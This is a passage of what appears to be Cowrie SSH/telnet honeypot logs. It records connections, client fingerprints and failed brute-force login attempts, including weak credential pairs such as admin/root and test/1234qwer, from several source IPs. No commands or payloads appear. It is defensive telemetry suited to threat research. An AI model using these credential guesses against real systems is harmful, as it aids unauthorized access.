"ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:29.065419Z","src_ip":"122.168.114.167","session":"7891378b5ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":54144,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59120b342df","protocol":"ssh","message":"New connection: 148.216.28.11:54144 (159.203.135.109:22) [session: b59120b342df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:31.482818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:31.487452Z","src_ip":"148.216.28.11","session":"b59120b342df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:31.554336Z","src_ip":"148.216.28.11","session":"b59120b342df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:31.852130Z","src_ip":"148.216.28.11","session":"b59120b342df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:32.922238Z","src_ip":"148.216.28.11","session":"b59120b342df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:46.304526Z","src_ip":"122.168.114.167","session":"7891378b5ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52450,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd6f1e1661d","protocol":"telnet","message":"New connection: 185.26.126.47:52450 (159.203.135.109:23) [session: 1dd6f1e1661d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:46.545388Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37778,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c8c206d53d","protocol":"ssh","message":"New connection: 159.203.92.129:37778 (159.203.135.109:22) [session: d5c8c206d53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:47.207609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:47.211823Z","src_ip":"159.203.92.129","session":"d5c8c206d53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:47.215702Z","src_ip":"159.203.92.129","session":"d5c8c206d53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"11111","message":"login attempt [app/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:47.225427Z","src_ip":"159.203.92.129","session":"d5c8c206d53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:48.231906Z","src_ip":"159.203.92.129","session":"d5c8c206d53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.6","message":"Connection lost after 25.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:51.159365Z","src_ip":"122.168.114.167","session":"7891378b5ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.874694585800171,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:46:56.419948Z","src_ip":"185.26.126.47","session":"1dd6f1e1661d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56806,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e4b105b3d0c","protocol":"ssh","message":"New connection: 122.168.114.167:56806 (159.203.135.109:22) [session: 2e4b105b3d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:03.804207Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":43998,"dst_ip":"159.203.135.109","dst_port":22,"session":"594248e992f2","protocol":"ssh","message":"New connection: 2.203.183.35:43998 (159.203.135.109:22) [session: 594248e992f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:04.390354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:04.394751Z","src_ip":"2.203.183.35","session":"594248e992f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:04.508524Z","src_ip":"2.203.183.35","session":"594248e992f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"Aa123456","message":"login attempt [test1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:05.015787Z","src_ip":"2.203.183.35","session":"594248e992f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:06.188732Z","src_ip":"2.203.183.35","session":"594248e992f2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:07.555680Z","src_ip":"122.168.114.167","session":"2e4b105b3d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:07.611782Z","src_ip":"122.168.114.167","session":"2e4b105b3d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":34220,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2baff882ee4","protocol":"ssh","message":"New connection: 148.216.28.11:34220 (159.203.135.109:22) [session: e2baff882ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:16.765297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:16.769720Z","src_ip":"148.216.28.11","session":"e2baff882ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:16.834116Z","src_ip":"148.216.28.11","session":"e2baff882ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:17.124246Z","src_ip":"148.216.28.11","session":"e2baff882ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:18.192193Z","src_ip":"148.216.28.11","session":"e2baff882ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:25.261045Z","src_ip":"122.168.114.167","session":"2e4b105b3d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52504,"dst_ip":"159.203.135.109","dst_port":22,"session":"30217c29595e","protocol":"ssh","message":"New connection: 159.203.92.129:52504 (159.203.135.109:22) [session: 30217c29595e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:30.027760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:30.033348Z","src_ip":"159.203.92.129","session":"30217c29595e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:30.038483Z","src_ip":"159.203.92.129","session":"30217c29595e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"111111","message":"login attempt [app/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:30.051240Z","src_ip":"159.203.92.129","session":"30217c29595e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.1","message":"Connection lost after 27.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:30.867154Z","src_ip":"122.168.114.167","session":"2e4b105b3d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:31.058251Z","src_ip":"159.203.92.129","session":"30217c29595e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59210,"dst_ip":"159.203.135.109","dst_port":22,"session":"e21a01d78d0a","protocol":"ssh","message":"New connection: 122.168.114.167:59210 (159.203.135.109:22) [session: e21a01d78d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:41.899636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:45.816813Z","src_ip":"122.168.114.167","session":"e21a01d78d0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:45.820817Z","src_ip":"122.168.114.167","session":"e21a01d78d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":33574,"dst_ip":"159.203.135.109","dst_port":22,"session":"1400f061e5d8","protocol":"ssh","message":"New connection: 2.203.183.35:33574 (159.203.135.109:22) [session: 1400f061e5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:59.206836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:59.211220Z","src_ip":"2.203.183.35","session":"1400f061e5d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["no